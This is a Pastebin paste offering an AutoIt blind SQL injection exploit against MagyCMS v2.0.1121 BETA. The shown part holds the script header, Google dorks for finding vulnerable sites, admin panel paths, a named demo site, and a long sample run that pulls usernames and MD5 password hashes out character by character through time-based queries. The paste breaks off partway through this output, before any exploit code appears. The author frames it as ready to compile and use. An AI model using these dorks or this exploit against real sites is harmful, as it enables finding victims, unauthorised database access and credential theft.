API tools faq
paste
SPDigital

magy cms Blind SQL injection Exploit (fixed)

SPDigital
Aug 30th, 2012
243
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 56.70 KB | None | 0 0
raw download clone embed print report
  1. #Region ;**** Directives created by AutoIt3Wrapper_GUI ****
  2. #AutoIt3Wrapper_Outfile=cpl.exe
  3. #AutoIt3Wrapper_UseUpx=n
  4. #AutoIt3Wrapper_Change2CUI=y
  5. #EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
  6. #NoTrayIcon
  7. #include <Array.au3>
  8. #include <Inet.au3>
  9. #include <String.au3>
  10. #include <File.au3>
  11.  
  12.  
  13.  
  14. #cs
  15.  
  16. THIS IS A COMPLETE EXPLOIT WHICH IS WRITEN IN AUTOIT SCRIPTING/PROGRAMMING LANGUAGE.
  17. THIS IS A CONSOLE APPLICATION.
  18. IT'S MAIN PURPOSE TO EXPLOIT BLIND SQL INJECTION VULNERABILITY IN magy cms v 2.0.1121 BETA USING TIME BASED WAY and obtain usernames + MD5 passwords.
  19. Default it'll obtain 5 usernames and corresponding MD5 PASSWORDS from vulnerable site.
  20. Since it uses time based way it is really slow exploit.But it is more convenient way than manual work;)
  21. In fact i coded it For Fun because we always prefer manual work.
  22.  
  23.  
  24. * ANYWAYS, save it as in eg: poc.au3 and COMPILE + ENJOY) *
  25.  
  26.  
  27. #ce
  28.  
  29.  
  30.  
  31. #cs
  32.  
  33.  
  34. --------------------------------------------------------------------
  35.  
  36. Vulnerable Software: MagyCMS v2.0.1121 BETA (Previous and Newest versions also affected)
  37. Vendor: http://www.emagy.com && broncoway.com
  38.  
  39. --------------------------------------------------------------------
  40. Vuln Type: Blind SQL injection
  41. Exploitation technique: Time Based.
  42. Exploit: Available
  43. --------------------------------------------------------------------
  44. --------------------------------------------------------------------
  45.  
  46.  
  47.  
  48. DORK 1:
  49. google+ site:am Website by Broncoway
  50.  
  51. DORK 2: google+ site:am inurl: /magycms/
  52.  
  53.  
  54. Admin Panel:
  55. site.tld/magycms/Admin/
  56. or
  57. site.tld/magycms/Admin/Login.php
  58.  
  59. Demo: http://www.sgp.am
  60.  
  61. --------------------------------------------------------------------
  62.  
  63. Example usage of exploit:
  64. cmd.exe
  65.  
  66. >D:\programming1\magy_exploit\poc_HAZIR_USERNAME_DONE\x_azirmagy_exploit>cpl.exe http://192.168.0.15/learn/pwnmagyasap/
  67.  
  68. ######################################################
  69. # MagyCMS v2.0.1121 BETA Blind SQL Injection Exploit #
  70. # Exploitation technique: Time Based #
  71. # #
  72. ######################################################
  73.  
  74. ----------------------------------------
  75. [+] Verifying your internet connection.... Please Wait...[+]
  76. ----------------------------------------
  77.  
  78. ----------------------------------------
  79. [+] Inet Connection is OK .... [+]
  80. ----------------------------------------
  81.  
  82. ----------------------------------------
  83. [+] Verifying is Target Site Vulnerable? Please wait...[+]
  84. ----------------------------------------
  85.  
  86. ----------------------------------------
  87. [+] Reply from target site: [+]
  88.  
  89. ----------------------------------------
  90. [+] - - - - * Vulnerable! * - - - - . [+]
  91. ----------------------------------------
  92.  
  93. [+] Trying to get average value for sleep(1) if condition is TRUE...[+]
  94.  
  95. ----------------------------------------
  96. [+] Please wait... [+]
  97. ----------------------------------------
  98.  
  99.  
  100. ----------------------------------------
  101. [+] AVG sleep timeout FOR TRUE CONDITION IS: 1087 ms [+]
  102. ----------------------------------------
  103.  
  104. ----------------------------------------
  105. [+] AVG sleep timeout FOR FALSE CONDITION IS: 93 ms [+]
  106. ----------------------------------------
  107.  
  108. ----------------------------------------
  109. [+] Getting To Fetch Username(s) from table... Please wait... [+]
  110. ----------------------------------------
  111. [+] TRUE AT OFFSET [0] Currently : [m]. Responce Time: 1066.51545360847 ms. Logging to axa.txt... [+]
  112. [+] TRUE AT OFFSET [0] Currently : [ma]. Responce Time: 1044.58516260608 ms. Logging to axa.txt... [+]
  113. [+] TRUE AT OFFSET [0] Currently : [man]. Responce Time: 1086.89845022196 ms. Logging to axa.txt... [+]
  114. [+] TRUE AT OFFSET [0] Currently : [mana]. Responce Time: 1046.11742474319 ms. Logging to axa.txt... [+]
  115. [+] TRUE AT OFFSET [0] Currently : [manag]. Responce Time: 1070.21242516611 ms. Logging to axa.txt... [+]
  116. [+] TRUE AT OFFSET [0] Currently : [manage]. Responce Time: 1063.79253086555 ms. Logging to axa.txt... [+]
  117. [+] TRUE AT OFFSET [0] Currently : [manager]. Responce Time: 1107.93347514309 ms. Logging to axa.txt... [+]
  118. [+] TRUE AT OFFSET [1] Currently : [r]. Responce Time: 1079.4193285235 ms. Logging to axa.txt... [+]
  119. [+] TRUE AT OFFSET [1] Currently : [ro]. Responce Time: 1092.09901537247 ms. Logging to axa.txt... [+]
  120. [+] TRUE AT OFFSET [1] Currently : [roo]. Responce Time: 1266.5817253381 ms. Logging to axa.txt... [+]
  121. [+] TRUE AT OFFSET [1] Currently : [root]. Responce Time: 1097.96913476208 ms. Logging to axa.txt... [+]
  122. [+] TRUE AT OFFSET [2] Currently : [d]. Responce Time: 1082.47758977717 ms. Logging to axa.txt... [+]
  123. [+] TRUE AT OFFSET [3] Currently : [t]. Responce Time: 1074.85995733176 ms. Logging to axa.txt... [+]
  124. [+] TRUE AT OFFSET [3] Currently : [te]. Responce Time: 1088.53933904958 ms. Logging to axa.txt... [+]
  125. [+] TRUE AT OFFSET [3] Currently : [tes]. Responce Time: 1080.99278273973 ms. Logging to axa.txt... [+]
  126. [+] TRUE AT OFFSET [3] Currently : [test]. Responce Time: 1073.98846265903 ms. Logging to axa.txt... [+]
  127.  
  128. ----------------------------------------
  129. [#] Username0 => [manager] [#]
  130. ----------------------------------------
  131.  
  132. ----------------------------------------
  133. [#] Username1 => [root] [#]
  134. ----------------------------------------
  135.  
  136. ----------------------------------------
  137. [#] Username2 => [d] [#]
  138. ----------------------------------------
  139.  
  140. ----------------------------------------
  141. [#] Username3 => [test] [#]
  142. ----------------------------------------
  143.  
  144. ----------------------------------------
  145. * Total 4 users *
  146. ----------------------------------------
  147.  
  148. ----------------------------------------
  149. [+] END OF USERNAME FETCHING. PREVIOUS RECORDS ARE COMPLETE USERNAMES [+]
  150. ----------------------------------------
  151.  
  152. ----------------------------------------
  153. [+] GOING TO FETCH MD5 PASSWORDS. This may take few minutes too. Please wait... [+]
  154. ----------------------------------------
  155.  
  156. ----------------------------------------
  157. [+] TRUE AT OFFSET [0] [+]
  158. Currently MD5 hash is : 0
  159. Responce Time: 1122.93256476205 ms.
  160. Need to fetch other: [31] symbol(s).
  161. Logging to axa.txt...
  162. ----------------------------------------
  163.  
  164. ----------------------------------------
  165. [+] TRUE AT OFFSET [0] [+]
  166. Currently MD5 hash is : 04
  167. Responce Time: 1147.73191815969 ms.
  168. Need to fetch other: [30] symbol(s).
  169. Logging to axa.txt...
  170. ----------------------------------------
  171.  
  172. ----------------------------------------
  173. [+] TRUE AT OFFSET [0] [+]
  174. Currently MD5 hash is : 04e
  175. Responce Time: 1093.4105956323 ms.
  176. Need to fetch other: [29] symbol(s).
  177. Logging to axa.txt...
  178. ----------------------------------------
  179.  
  180. ----------------------------------------
  181. [+] TRUE AT OFFSET [0] [+]
  182. Currently MD5 hash is : 04e8
  183. Responce Time: 1086.12022668676 ms.
  184. Need to fetch other: [28] symbol(s).
  185. Logging to axa.txt...
  186. ----------------------------------------
  187.  
  188. ----------------------------------------
  189. [+] TRUE AT OFFSET [0] [+]
  190. Currently MD5 hash is : 04e8e
  191. Responce Time: 1088.69703233325 ms.
  192. Need to fetch other: [27] symbol(s).
  193. Logging to axa.txt...
  194. ----------------------------------------
  195.  
  196. ----------------------------------------
  197. [+] TRUE AT OFFSET [0] [+]
  198. Currently MD5 hash is : 04e8e4
  199. Responce Time: 1079.73130163186 ms.
  200. Need to fetch other: [26] symbol(s).
  201. Logging to axa.txt...
  202. ----------------------------------------
  203.  
  204. ----------------------------------------
  205. [+] TRUE AT OFFSET [0] [+]
  206. Currently MD5 hash is : 04e8e47
  207. Responce Time: 1089.67269514766 ms.
  208. Need to fetch other: [25] symbol(s).
  209. Logging to axa.txt...
  210. ----------------------------------------
  211.  
  212. ----------------------------------------
  213. [+] TRUE AT OFFSET [0] [+]
  214. Currently MD5 hash is : 04e8e47e
  215. Responce Time: 1120.84654283897 ms.
  216. Need to fetch other: [24] symbol(s).
  217. Logging to axa.txt...
  218. ----------------------------------------
  219.  
  220. ----------------------------------------
  221. [+] TRUE AT OFFSET [0] [+]
  222. Currently MD5 hash is : 04e8e47e6
  223. Responce Time: 1096.57454880375 ms.
  224. Need to fetch other: [23] symbol(s).
  225. Logging to axa.txt...
  226. ----------------------------------------
  227.  
  228. ----------------------------------------
  229. [+] TRUE AT OFFSET [0] [+]
  230. Currently MD5 hash is : 04e8e47e68
  231. Responce Time: 1197.06674603001 ms.
  232. Need to fetch other: [22] symbol(s).
  233. Logging to axa.txt...
  234. ----------------------------------------
  235.  
  236. ----------------------------------------
  237. [+] TRUE AT OFFSET [0] [+]
  238. Currently MD5 hash is : 04e8e47e68a
  239. Responce Time: 1117.15728038546 ms.
  240. Need to fetch other: [21] symbol(s).
  241. Logging to axa.txt...
  242. ----------------------------------------
  243.  
  244. ----------------------------------------
  245. [+] TRUE AT OFFSET [0] [+]
  246. Currently MD5 hash is : 04e8e47e68a7
  247. Responce Time: 1074.80582819299 ms.
  248. Need to fetch other: [20] symbol(s).
  249. Logging to axa.txt...
  250. ----------------------------------------
  251.  
  252. ----------------------------------------
  253. [+] TRUE AT OFFSET [0] [+]
  254. Currently MD5 hash is : 04e8e47e68a7b
  255. Responce Time: 1090.67017703246 ms.
  256. Need to fetch other: [19] symbol(s).
  257. Logging to axa.txt...
  258. ----------------------------------------
  259.  
  260. ----------------------------------------
  261. [+] TRUE AT OFFSET [0] [+]
  262. Currently MD5 hash is : 04e8e47e68a7b5
  263. Responce Time: 1095.4439395126 ms.
  264. Need to fetch other: [18] symbol(s).
  265. Logging to axa.txt...
  266. ----------------------------------------
  267.  
  268. ----------------------------------------
  269. [+] TRUE AT OFFSET [0] [+]
  270. Currently MD5 hash is : 04e8e47e68a7b58
  271. Responce Time: 1079.56000213028 ms.
  272. Need to fetch other: [17] symbol(s).
  273. Logging to axa.txt...
  274. ----------------------------------------
  275.  
  276. ----------------------------------------
  277. [+] TRUE AT OFFSET [0] [+]
  278. Currently MD5 hash is : 04e8e47e68a7b585
  279. Responce Time: 1121.39697688334 ms.
  280. Need to fetch other: [16] symbol(s).
  281. Logging to axa.txt...
  282. ----------------------------------------
  283.  
  284. ----------------------------------------
  285. [+] TRUE AT OFFSET [0] [+]
  286. Currently MD5 hash is : 04e8e47e68a7b5859
  287. Responce Time: 1069.7244734608 ms.
  288. Need to fetch other: [15] symbol(s).
  289. Logging to axa.txt...
  290. ----------------------------------------
  291.  
  292. ----------------------------------------
  293. [+] TRUE AT OFFSET [0] [+]
  294. Currently MD5 hash is : 04e8e47e68a7b58594
  295. Responce Time: 1088.90167696824 ms.
  296. Need to fetch other: [14] symbol(s).
  297. Logging to axa.txt...
  298. ----------------------------------------
  299.  
  300. ----------------------------------------
  301. [+] TRUE AT OFFSET [0] [+]
  302. Currently MD5 hash is : 04e8e47e68a7b58594f
  303. Responce Time: 1090.38322342555 ms.
  304. Need to fetch other: [13] symbol(s).
  305. Logging to axa.txt...
  306. ----------------------------------------
  307.  
  308. ----------------------------------------
  309. [+] TRUE AT OFFSET [0] [+]
  310. Currently MD5 hash is : 04e8e47e68a7b58594fd
  311. Responce Time: 1131.33884657918 ms.
  312. Need to fetch other: [12] symbol(s).
  313. Logging to axa.txt...
  314. ----------------------------------------
  315.  
  316. ----------------------------------------
  317. [+] TRUE AT OFFSET [0] [+]
  318. Currently MD5 hash is : 04e8e47e68a7b58594fdc
  319. Responce Time: 1085.94070681407 ms.
  320. Need to fetch other: [11] symbol(s).
  321. Logging to axa.txt...
  322. ----------------------------------------
  323.  
  324. ----------------------------------------
  325. [+] TRUE AT OFFSET [0] [+]
  326. Currently MD5 hash is : 04e8e47e68a7b58594fdcf
  327. Responce Time: 1086.03164216324 ms.
  328. Need to fetch other: [10] symbol(s).
  329. Logging to axa.txt...
  330. ----------------------------------------
  331.  
  332. ----------------------------------------
  333. [+] TRUE AT OFFSET [0] [+]
  334. Currently MD5 hash is : 04e8e47e68a7b58594fdcf9
  335. Responce Time: 1085.01732856736 ms.
  336. Need to fetch other: [9] symbol(s).
  337. Logging to axa.txt...
  338. ----------------------------------------
  339.  
  340. ----------------------------------------
  341. [+] TRUE AT OFFSET [0] [+]
  342. Currently MD5 hash is : 04e8e47e68a7b58594fdcf99
  343. Responce Time: 1090.81806852607 ms.
  344. Need to fetch other: [8] symbol(s).
  345. Logging to axa.txt...
  346. ----------------------------------------
  347.  
  348. ----------------------------------------
  349. [+] TRUE AT OFFSET [0] [+]
  350. Currently MD5 hash is : 04e8e47e68a7b58594fdcf994
  351. Responce Time: 1164.10285238106 ms.
  352. Need to fetch other: [7] symbol(s).
  353. Logging to axa.txt...
  354. ----------------------------------------
  355.  
  356. ----------------------------------------
  357. [+] TRUE AT OFFSET [0] [+]
  358. Currently MD5 hash is : 04e8e47e68a7b58594fdcf994c
  359. Responce Time: 1087.62590294072 ms.
  360. Need to fetch other: [6] symbol(s).
  361. Logging to axa.txt...
  362. ----------------------------------------
  363.  
  364. ----------------------------------------
  365. [+] TRUE AT OFFSET [0] [+]
  366. Currently MD5 hash is : 04e8e47e68a7b58594fdcf994c5
  367. Responce Time: 1084.24126538578 ms.
  368. Need to fetch other: [5] symbol(s).
  369. Logging to axa.txt...
  370. ----------------------------------------
  371.  
  372. ----------------------------------------
  373. [+] TRUE AT OFFSET [0] [+]
  374. Currently MD5 hash is : 04e8e47e68a7b58594fdcf994c5d
  375. Responce Time: 1110.72200045738 ms.
  376. Need to fetch other: [4] symbol(s).
  377. Logging to axa.txt...
  378. ----------------------------------------
  379.  
  380. ----------------------------------------
  381. [+] TRUE AT OFFSET [0] [+]
  382. Currently MD5 hash is : 04e8e47e68a7b58594fdcf994c5d4
  383. Responce Time: 1095.35167837798 ms.
  384. Need to fetch other: [3] symbol(s).
  385. Logging to axa.txt...
  386. ----------------------------------------
  387.  
  388. ----------------------------------------
  389. [+] TRUE AT OFFSET [0] [+]
  390. Currently MD5 hash is : 04e8e47e68a7b58594fdcf994c5d49
  391. Responce Time: 1100.45665915848 ms.
  392. Need to fetch other: [2] symbol(s).
  393. Logging to axa.txt...
  394. ----------------------------------------
  395.  
  396. ----------------------------------------
  397. [+] TRUE AT OFFSET [0] [+]
  398. Currently MD5 hash is : 04e8e47e68a7b58594fdcf994c5d490
  399. Responce Time: 1141.79013618122 ms.
  400. Need to fetch other: [1] symbol(s).
  401. Logging to axa.txt...
  402. ----------------------------------------
  403.  
  404. ----------------------------------------
  405. [+] TRUE AT OFFSET [0] [+]
  406. Currently MD5 hash is : 04e8e47e68a7b58594fdcf994c5d490d
  407. Responce Time: 1166.55627727462 ms.
  408. Need to fetch other: [ *NONE* ] symbol(s).
  409. Logging to axa.txt...
  410. ----------------------------------------
  411.  
  412. ----------------------------------------
  413. [+] TRUE AT OFFSET [1] [+]
  414. Currently MD5 hash is : e
  415. Responce Time: 1171.26590832908 ms.
  416. Need to fetch other: [31] symbol(s).
  417. Logging to axa.txt...
  418. ----------------------------------------
  419.  
  420. ----------------------------------------
  421. [+] TRUE AT OFFSET [1] [+]
  422. Currently MD5 hash is : e1
  423. Responce Time: 1132.57401498087 ms.
  424. Need to fetch other: [30] symbol(s).
  425. Logging to axa.txt...
  426. ----------------------------------------
  427.  
  428. ----------------------------------------
  429. [+] TRUE AT OFFSET [1] [+]
  430. Currently MD5 hash is : e10
  431. Responce Time: 1208.55810555533 ms.
  432. Need to fetch other: [29] symbol(s).
  433. Logging to axa.txt...
  434. ----------------------------------------
  435.  
  436. ----------------------------------------
  437. [+] TRUE AT OFFSET [1] [+]
  438. Currently MD5 hash is : e10a
  439. Responce Time: 1123.42031597051 ms.
  440. Need to fetch other: [28] symbol(s).
  441. Logging to axa.txt...
  442. ----------------------------------------
  443.  
  444. ----------------------------------------
  445. [+] TRUE AT OFFSET [1] [+]
  446. Currently MD5 hash is : e10ad
  447. Responce Time: 1122.12616389991 ms.
  448. Need to fetch other: [27] symbol(s).
  449. Logging to axa.txt...
  450. ----------------------------------------
  451.  
  452. ----------------------------------------
  453. [+] TRUE AT OFFSET [1] [+]
  454. Currently MD5 hash is : e10adc
  455. Responce Time: 1082.92028182339 ms.
  456. Need to fetch other: [26] symbol(s).
  457. Logging to axa.txt...
  458. ----------------------------------------
  459.  
  460. ----------------------------------------
  461. [+] TRUE AT OFFSET [1] [+]
  462. Currently MD5 hash is : e10adc3
  463. Responce Time: 1089.85126266028 ms.
  464. Need to fetch other: [25] symbol(s).
  465. Logging to axa.txt...
  466. ----------------------------------------
  467.  
  468. ----------------------------------------
  469. [+] TRUE AT OFFSET [1] [+]
  470. Currently MD5 hash is : e10adc39
  471. Responce Time: 1140.08007343197 ms.
  472. Need to fetch other: [24] symbol(s).
  473. Logging to axa.txt...
  474. ----------------------------------------
  475.  
  476. ----------------------------------------
  477. [+] TRUE AT OFFSET [1] [+]
  478. Currently MD5 hash is : e10adc394
  479. Responce Time: 1148.83027251909 ms.
  480. Need to fetch other: [23] symbol(s).
  481. Logging to axa.txt...
  482. ----------------------------------------
  483.  
  484. ----------------------------------------
  485. [+] TRUE AT OFFSET [1] [+]
  486. Currently MD5 hash is : e10adc3949
  487. Responce Time: 1091.6165547748 ms.
  488. Need to fetch other: [22] symbol(s).
  489. Logging to axa.txt...
  490. ----------------------------------------
  491.  
  492. ----------------------------------------
  493. [+] TRUE AT OFFSET [1] [+]
  494. Currently MD5 hash is : e10adc3949b
  495. Responce Time: 1087.22355838061 ms.
  496. Need to fetch other: [21] symbol(s).
  497. Logging to axa.txt...
  498. ----------------------------------------
  499.  
  500. ----------------------------------------
  501. [+] TRUE AT OFFSET [1] [+]
  502. Currently MD5 hash is : e10adc3949ba
  503. Responce Time: 1073.28650311553 ms.
  504. Need to fetch other: [20] symbol(s).
  505. Logging to axa.txt...
  506. ----------------------------------------
  507.  
  508. ----------------------------------------
  509. [+] TRUE AT OFFSET [1] [+]
  510. Currently MD5 hash is : e10adc3949ba5
  511. Responce Time: 1075.00146049429 ms.
  512. Need to fetch other: [19] symbol(s).
  513. Logging to axa.txt...
  514. ----------------------------------------
  515.  
  516. ----------------------------------------
  517. [+] TRUE AT OFFSET [1] [+]
  518. Currently MD5 hash is : e10adc3949ba59
  519. Responce Time: 1075.08258904097 ms.
  520. Need to fetch other: [18] symbol(s).
  521. Logging to axa.txt...
  522. ----------------------------------------
  523.  
  524. ----------------------------------------
  525. [+] TRUE AT OFFSET [1] [+]
  526. Currently MD5 hash is : e10adc3949ba59a
  527. Responce Time: 1103.84616628081 ms.
  528. Need to fetch other: [17] symbol(s).
  529. Logging to axa.txt...
  530. ----------------------------------------
  531.  
  532. ----------------------------------------
  533. [+] TRUE AT OFFSET [1] [+]
  534. Currently MD5 hash is : e10adc3949ba59ab
  535. Responce Time: 1088.21680476932 ms.
  536. Need to fetch other: [16] symbol(s).
  537. Logging to axa.txt...
  538. ----------------------------------------
  539.  
  540. ----------------------------------------
  541. [+] TRUE AT OFFSET [1] [+]
  542. Currently MD5 hash is : e10adc3949ba59abb
  543. Responce Time: 1091.30892994201 ms.
  544. Need to fetch other: [15] symbol(s).
  545. Logging to axa.txt...
  546. ----------------------------------------
  547.  
  548. ----------------------------------------
  549. [+] TRUE AT OFFSET [1] [+]
  550. Currently MD5 hash is : e10adc3949ba59abbe
  551. Responce Time: 1120.06679051525 ms.
  552. Need to fetch other: [14] symbol(s).
  553. Logging to axa.txt...
  554. ----------------------------------------
  555.  
  556. ----------------------------------------
  557. [+] TRUE AT OFFSET [1] [+]
  558. Currently MD5 hash is : e10adc3949ba59abbe5
  559. Responce Time: 1102.02194814024 ms.
  560. Need to fetch other: [13] symbol(s).
  561. Logging to axa.txt...
  562. ----------------------------------------
  563.  
  564. ----------------------------------------
  565. [+] TRUE AT OFFSET [1] [+]
  566. Currently MD5 hash is : e10adc3949ba59abbe56
  567. Responce Time: 1142.12833929081 ms.
  568. Need to fetch other: [12] symbol(s).
  569. Logging to axa.txt...
  570. ----------------------------------------
  571.  
  572. ----------------------------------------
  573. [+] TRUE AT OFFSET [1] [+]
  574. Currently MD5 hash is : e10adc3949ba59abbe56e
  575. Responce Time: 1103.72041465256 ms.
  576. Need to fetch other: [11] symbol(s).
  577. Logging to axa.txt...
  578. ----------------------------------------
  579.  
  580. ----------------------------------------
  581. [+] TRUE AT OFFSET [1] [+]
  582. Currently MD5 hash is : e10adc3949ba59abbe56e0
  583. Responce Time: 1111.04395079055 ms.
  584. Need to fetch other: [10] symbol(s).
  585. Logging to axa.txt...
  586. ----------------------------------------
  587.  
  588. ----------------------------------------
  589. [+] TRUE AT OFFSET [1] [+]
  590. Currently MD5 hash is : e10adc3949ba59abbe56e05
  591. Responce Time: 1214.34433706028 ms.
  592. Need to fetch other: [9] symbol(s).
  593. Logging to axa.txt...
  594. ----------------------------------------
  595.  
  596. ----------------------------------------
  597. [+] TRUE AT OFFSET [1] [+]
  598. Currently MD5 hash is : e10adc3949ba59abbe56e057
  599. Responce Time: 1163.34768347812 ms.
  600. Need to fetch other: [8] symbol(s).
  601. Logging to axa.txt...
  602. ----------------------------------------
  603.  
  604. ----------------------------------------
  605. [+] TRUE AT OFFSET [1] [+]
  606. Currently MD5 hash is : e10adc3949ba59abbe56e057f
  607. Responce Time: 1201.57191540286 ms.
  608. Need to fetch other: [7] symbol(s).
  609. Logging to axa.txt...
  610. ----------------------------------------
  611.  
  612. ----------------------------------------
  613. [+] TRUE AT OFFSET [1] [+]
  614. Currently MD5 hash is : e10adc3949ba59abbe56e057f2
  615. Responce Time: 1138.68858765629 ms.
  616. Need to fetch other: [6] symbol(s).
  617. Logging to axa.txt...
  618. ----------------------------------------
  619.  
  620. ----------------------------------------
  621. [+] TRUE AT OFFSET [1] [+]
  622. Currently MD5 hash is : e10adc3949ba59abbe56e057f20
  623. Responce Time: 1116.66783999098 ms.
  624. Need to fetch other: [5] symbol(s).
  625. Logging to axa.txt...
  626. ----------------------------------------
  627.  
  628. ----------------------------------------
  629. [+] TRUE AT OFFSET [1] [+]
  630. Currently MD5 hash is : e10adc3949ba59abbe56e057f20f
  631. Responce Time: 1098.96241373153 ms.
  632. Need to fetch other: [4] symbol(s).
  633. Logging to axa.txt...
  634. ----------------------------------------
  635.  
  636. ----------------------------------------
  637. [+] TRUE AT OFFSET [1] [+]
  638. Currently MD5 hash is : e10adc3949ba59abbe56e057f20f8
  639. Responce Time: 1130.48200572043 ms.
  640. Need to fetch other: [3] symbol(s).
  641. Logging to axa.txt...
  642. ----------------------------------------
  643.  
  644. ----------------------------------------
  645. [+] TRUE AT OFFSET [1] [+]
  646. Currently MD5 hash is : e10adc3949ba59abbe56e057f20f88
  647. Responce Time: 1108.71546050055 ms.
  648. Need to fetch other: [2] symbol(s).
  649. Logging to axa.txt...
  650. ----------------------------------------
  651.  
  652. ----------------------------------------
  653. [+] TRUE AT OFFSET [1] [+]
  654. Currently MD5 hash is : e10adc3949ba59abbe56e057f20f883
  655. Responce Time: 1116.813345572 ms.
  656. Need to fetch other: [1] symbol(s).
  657. Logging to axa.txt...
  658. ----------------------------------------
  659.  
  660. ----------------------------------------
  661. [+] TRUE AT OFFSET [1] [+]
  662. Currently MD5 hash is : e10adc3949ba59abbe56e057f20f883e
  663. Responce Time: 1088.2162383657 ms.
  664. Need to fetch other: [ *NONE* ] symbol(s).
  665. Logging to axa.txt...
  666. ----------------------------------------
  667.  
  668. ----------------------------------------
  669. [+] TRUE AT OFFSET [2] [+]
  670. Currently MD5 hash is : 3
  671. Responce Time: 1112.91223563393 ms.
  672. Need to fetch other: [31] symbol(s).
  673. Logging to axa.txt...
  674. ----------------------------------------
  675.  
  676. ----------------------------------------
  677. [+] TRUE AT OFFSET [2] [+]
  678. Currently MD5 hash is : 32
  679. Responce Time: 1103.2336007669 ms.
  680. Need to fetch other: [30] symbol(s).
  681. Logging to axa.txt...
  682. ----------------------------------------
  683.  
  684. ----------------------------------------
  685. [+] TRUE AT OFFSET [2] [+]
  686. Currently MD5 hash is : 326
  687. Responce Time: 1073.39268625061 ms.
  688. Need to fetch other: [29] symbol(s).
  689. Logging to axa.txt...
  690. ----------------------------------------
  691.  
  692. ----------------------------------------
  693. [+] TRUE AT OFFSET [2] [+]
  694. Currently MD5 hash is : 3263
  695. Responce Time: 1078.83931116799 ms.
  696. Need to fetch other: [28] symbol(s).
  697. Logging to axa.txt...
  698. ----------------------------------------
  699.  
  700. ----------------------------------------
  701. [+] TRUE AT OFFSET [2] [+]
  702. Currently MD5 hash is : 32637
  703. Responce Time: 1073.24368450567 ms.
  704. Need to fetch other: [27] symbol(s).
  705. Logging to axa.txt...
  706. ----------------------------------------
  707.  
  708. ----------------------------------------
  709. [+] TRUE AT OFFSET [2] [+]
  710. Currently MD5 hash is : 326373
  711. Responce Time: 1097.87935978848 ms.
  712. Need to fetch other: [26] symbol(s).
  713. Logging to axa.txt...
  714. ----------------------------------------
  715.  
  716. ----------------------------------------
  717. [+] TRUE AT OFFSET [2] [+]
  718. Currently MD5 hash is : 326373d
  719. Responce Time: 1156.96056540113 ms.
  720. Need to fetch other: [25] symbol(s).
  721. Logging to axa.txt...
  722. ----------------------------------------
  723.  
  724. ----------------------------------------
  725. [+] TRUE AT OFFSET [2] [+]
  726. Currently MD5 hash is : 326373da
  727. Responce Time: 1072.94168611591 ms.
  728. Need to fetch other: [24] symbol(s).
  729. Logging to axa.txt...
  730. ----------------------------------------
  731.  
  732. ----------------------------------------
  733. [+] TRUE AT OFFSET [2] [+]
  734. Currently MD5 hash is : 326373da5
  735. Responce Time: 1109.29933992676 ms.
  736. Need to fetch other: [23] symbol(s).
  737. Logging to axa.txt...
  738. ----------------------------------------
  739.  
  740. ----------------------------------------
  741. [+] TRUE AT OFFSET [2] [+]
  742. Currently MD5 hash is : 326373da56
  743. Responce Time: 1078.17109775162 ms.
  744. Need to fetch other: [22] symbol(s).
  745. Logging to axa.txt...
  746. ----------------------------------------
  747.  
  748. ----------------------------------------
  749. [+] TRUE AT OFFSET [2] [+]
  750. Currently MD5 hash is : 326373da562
  751. Responce Time: 1091.15269276676 ms.
  752. Need to fetch other: [21] symbol(s).
  753. Logging to axa.txt...
  754. ----------------------------------------
  755.  
  756. ----------------------------------------
  757. [+] TRUE AT OFFSET [2] [+]
  758. Currently MD5 hash is : 326373da5622
  759. Responce Time: 1076.48035788689 ms.
  760. Need to fetch other: [20] symbol(s).
  761. Logging to axa.txt...
  762. ----------------------------------------
  763.  
  764. ----------------------------------------
  765. [+] TRUE AT OFFSET [2] [+]
  766. Currently MD5 hash is : 326373da56226
  767. Responce Time: 1135.50237933379 ms.
  768. Need to fetch other: [19] symbol(s).
  769. Logging to axa.txt...
  770. ----------------------------------------
  771.  
  772. ----------------------------------------
  773. [+] TRUE AT OFFSET [2] [+]
  774. Currently MD5 hash is : 326373da562269
  775. Responce Time: 1203.56181913304 ms.
  776. Need to fetch other: [18] symbol(s).
  777. Logging to axa.txt...
  778. ----------------------------------------
  779.  
  780. ----------------------------------------
  781. [+] TRUE AT OFFSET [2] [+]
  782. Currently MD5 hash is : 326373da5622693
  783. Responce Time: 1090.62271190795 ms.
  784. Need to fetch other: [17] symbol(s).
  785. Logging to axa.txt...
  786. ----------------------------------------
  787.  
  788. ----------------------------------------
  789. [+] TRUE AT OFFSET [2] [+]
  790. Currently MD5 hash is : 326373da56226931
  791. Responce Time: 1092.65591544045 ms.
  792. Need to fetch other: [16] symbol(s).
  793. Logging to axa.txt...
  794. ----------------------------------------
  795.  
  796. ----------------------------------------
  797. [+] TRUE AT OFFSET [2] [+]
  798. Currently MD5 hash is : 326373da562269316
  799. Responce Time: 1100.2446888696 ms.
  800. Need to fetch other: [15] symbol(s).
  801. Logging to axa.txt...
  802. ----------------------------------------
  803.  
  804. ----------------------------------------
  805. [+] TRUE AT OFFSET [2] [+]
  806. Currently MD5 hash is : 326373da5622693167
  807. Responce Time: 1094.95098541072 ms.
  808. Need to fetch other: [14] symbol(s).
  809. Logging to axa.txt...
  810. ----------------------------------------
  811.  
  812. ----------------------------------------
  813. [+] TRUE AT OFFSET [2] [+]
  814. Currently MD5 hash is : 326373da56226931679
  815. Responce Time: 1128.80178191581 ms.
  816. Need to fetch other: [13] symbol(s).
  817. Logging to axa.txt...
  818. ----------------------------------------
  819.  
  820. ----------------------------------------
  821. [+] TRUE AT OFFSET [2] [+]
  822. Currently MD5 hash is : 326373da562269316790
  823. Responce Time: 1169.40833252404 ms.
  824. Need to fetch other: [12] symbol(s).
  825. Logging to axa.txt...
  826. ----------------------------------------
  827.  
  828. ----------------------------------------
  829. [+] TRUE AT OFFSET [2] [+]
  830. Currently MD5 hash is : 326373da5622693167903
  831. Responce Time: 1096.74959509033 ms.
  832. Need to fetch other: [11] symbol(s).
  833. Logging to axa.txt...
  834. ----------------------------------------
  835.  
  836. ----------------------------------------
  837. [+] TRUE AT OFFSET [2] [+]
  838. Currently MD5 hash is : 326373da56226931679032
  839. Responce Time: 1178.17792216336 ms.
  840. Need to fetch other: [10] symbol(s).
  841. Logging to axa.txt...
  842. ----------------------------------------
  843.  
  844. ----------------------------------------
  845. [+] TRUE AT OFFSET [2] [+]
  846. Currently MD5 hash is : 326373da562269316790326
  847. Responce Time: 1106.2009016093 ms.
  848. Need to fetch other: [9] symbol(s).
  849. Logging to axa.txt...
  850. ----------------------------------------
  851.  
  852. ----------------------------------------
